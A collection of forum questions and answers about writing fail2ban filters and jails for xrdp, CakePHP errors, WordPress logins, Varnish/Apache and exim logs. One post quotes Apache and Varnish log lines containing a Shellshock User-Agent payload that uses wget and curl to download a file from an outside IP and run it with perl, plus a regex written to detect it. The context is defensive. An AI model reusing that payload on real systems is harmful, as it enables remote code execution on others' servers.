in order to configure fail2ban for xrdp attacks, i need some help with regexp.
In /var/log/xrdp.log i can see :
[20201229-12:24:42] [INFO ] Socket 12: AF_INET6 connection received from ::ffff:82.74.118.114 port 55267
So in jail.conf i add :
[rdp]
enabled = true
filter = rdp
action = iptables-multiport[name=rdp, port="3389,3390,3391", protocol=tcp]
logpath = /var/log/xrdp.log
maxretry = 5
And for the filter.d/rdp.conf i wrote :
[Definition]
failregex = connection received from ::ffff:<HOST> port
ignoreregex =
Obviously my regexp is bad...
Can someone help me ?
Thx
Your failregex is redundant because <HOST> is an alias for the pattern (?:::f{4,6}:)?(?P<host>\S+), which includes the ::ffff: part. Also the date format in your log isn't supported by the default date templates of fail2ban, so you must set a custom date pattern.
[Definition]
failregex = connection received from <HOST>
ignoreregex =
datepattern = %%Y%%m%%d-%%H:%%M:%%S
As a rule of thumb you should always test your date patterns and regex with the fail2ban-regex tool.
Related
i would like to create a filter in fail2ban for searching and blocking bad request like "Controller class * could not be found."
For this problem i was create a cakephp.conf file in the filter.d directory in fail2ban. The Content:
[Definition]
failregex = ^[0-9]{4}\-[0-9]{2}\-[0-9]{2}.*Error:.*\nStack Trace:\n(\-.*|\n)*\n.*\n.*\nClient IP: <HOST>\n$
ignoreregex =
My example error log looks like this:
...
2020-10-08 19:59:46 Error: [Cake\Http\Exception\MissingControllerException] Controller class Webfig could not be found. in /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Controller/ControllerFactory.php on line 158
Stack Trace:
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Controller/ControllerFactory.php:46
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/BaseApplication.php:249
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:77
- /home/myapplication/htdocs/vendor/cakephp/authentication/src/Middleware/AuthenticationMiddleware.php:122
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:73
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:77
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Middleware/CsrfProtectionMiddleware.php:146
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:73
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:58
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Routing/Middleware/RoutingMiddleware.php:172
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:73
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Routing/Middleware/AssetMiddleware.php:68
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:73
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Error/Middleware/ErrorHandlerMiddleware.php:121
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:73
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Runner.php:58
- /home/myapplication/htdocs/vendor/cakephp/cakephp/src/Http/Server.php:90
- /home/myapplication/htdocs/webroot/index.php:40
Request URL: /webfig/
Referer URL: http://X.X.X.X/webfig/
Client IP: X.X.X.X
...
X.X.X.X are replaced
But i can't match any ip adresses. The fail2ban tester says:
root#test:~# fail2ban-regex /home/myapplication/htdocs/logs/error.log /etc/fail2ban/filter.d/cakephp.conf
Running tests
=============
Use failregex filter file : cakephp, basedir: /etc/fail2ban
Use log file : /home/myapplication/htdocs/logs/error.log
Use encoding : UTF-8
Results
=======
Failregex: 0 total
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [719] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day(?:T| ?)24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-
Lines: 15447 lines, 0 ignored, 0 matched, 15447 missed
[processed in 10.02 sec]
Missed line(s): too many to print. Use --print-all-missed to print all 15447 lines
i can't see any problems. Can you help me? :)
Thanks
The issue is your log is poor suitable to parse - it is a multiline log-file (IP takes place in other line as the failure message).
Let alone the line with IP does not has any ID (common information with line of failure), it can be still worse if several messages are crossing (so Client IP from other message that is not a failure, coming after failure message).
If you can change the log-format better do that (so date, IP and failure sign are in the same line), e.g. if you use nginx, organize a conditional logging for access log from php-location in error case like this.
See Fail2ban :: wiki :: Best practice for more info.
If you cannot do that (well better would be to change it), you can use multi-line buffering and parsing using maxlines parameter and <SKIPLINES> regex.
Your filter would be something like that:
[Definition]
# we ignore stack trace, so don't need to hold buffer window too large,
# 5 would be enough, but to be sure (if some log-messages crossing):
maxlines = 10
ignoreregex = ^(?:Stack |- /)
failregex = ^\s+Error: \[[^\]]+\] Controller class \S+ could not be found\..*<SKIPLINES>^((?:Request|Referer) URL:.*<SKIPLINES>)*^Client IP: <HOST>
To test it directly use:
fail2ban-regex --maxlines=5 /path/to/log '^\s+Error: \[[^\]]+\] Controller class \S+ could not be found\..*<SKIPLINES>^((?:Request|Referer) URL:.*<SKIPLINES>)*^Client IP: <HOST>' '^(?:Stack |- /)'
But as already said, it is really ugly - better you find the way to log everything in a single line.
I wanted to test fail2ban but I'm hitting a problem. My trys with regex does not really works.
The username e.g. userxy which occurs in the the first line of the log and in the second line the IP Address must be blocked by fail2ban.
/etc/fail2ban/jail.conf
[Filter1]
enabled = true
filter = test
port = 12345
protocol = tcp
logpath = /var/etc/logs/auth.log
banaction = iptables-multiport
findtime = 1800
bantime = 3600
/var/etc/logs/auth.log
2018/09/21 20:45:13 ASDFDGFS c (trail) password for 'userxy' invalid!
2018/09/21 20:45:13 ASDFDGFS c (client) anonymous disconnected from 192.168.252.37
/etc/fail2ban/filter.d/test.conf
[Init]
maxlines = 2
[Definition]
failregex = ^.*userxy*\n.*anonymous disconnected from <HOST>.*$
ignoreregex =
i have added rule into fail2ban to reject all wp login attemps
failregex = ^[a-zA-Z0-9\.]+ <HOST> .*POST.*/wp-login\.php HTTP.*
i would like to add the parameter GET to all login attempt (for reject them also )
so far i tried this
failregex = ^[a-zA-Z0-9\.]+ <HOST> .*"(GET|POST).*/wp-login\.php HTTP.*
or
failregex = ^[a-zA-Z0-9\.]+ <HOST> .*(GET|POST).*/wp-login\.php HTTP.*
but this does not work for GET parameter i still see it in access.log
thx you very much to help me
Currently have a server with 2 IPs, one internal and one external with varnish on the external and an apache backend on the internal with fail2ban running pretty much as default.
Recently the website went down returning 503 errors and it turned out fail2ban had banned the varnish from talking to the apache backend vi the apache-noscript rule. I have since added an exclusion for the ip address so this will not get banned again, but ideally I would prefer it if the client was banned in future.
From the apache logs
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
From the varnish logs
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
Would it be okay to just replicate my apache-noscript defnition to use the varnishlogs, i.e.:
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
to become
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
I have noticed the apache no script filter has has the following failregex
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
I guess the main question is will this still work for the varnishlog in the output above, if not what failregex would I need?
Many Thanks.
[EDIT] It turns out as a coincidence the noscript did the banning but not for the above log entries. Now to formulate a fail2ban regex for the above log entry.
Okay I've created a new jail with the following rule to catch the above:
failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
Please feel free to suggest improvements to the rule to catch the log line mentioned above.
The fail regex works on both the apache access log and the varnish csa log.
I am trying to create a regex condition for the exim filter of Fail2Ban. In my exim log, I have entries like this:
2014-11-27 17:09:05 SMTP connection from [42.117.255.244] (TCP/IP connection count = 1)
2014-11-27 17:09:14 SMTP connection from [118.68.249.18] (TCP/IP connection count = 2)
2014-11-27 17:09:15 SMTP connection from [113.188.85.220] (TCP/IP connection count = 3)
So I need a regex filter which analyzes the exim log, and if TCP/IP connection count > 3, then fail2ban will block that ip for the amount of time specified in fail2ban configuration.
What I have tried so far is something like this:
failregex = ^%(pid)s SMTP connection from \S+ [](:\d+)? (I=[\S+]:\d+ )?(TCP/IP connection count = "\S+")\s*$
but it fails ... I am not any good at regex so I need your help.
Thank you!
[ \S]+?SMTP connection from \S+? \(TCP\/IP connection count = (?!\b1\b|\b2\b|\b3\b)\d+\)
Try this.See demo.
http://regex101.com/r/hQ9xT1/10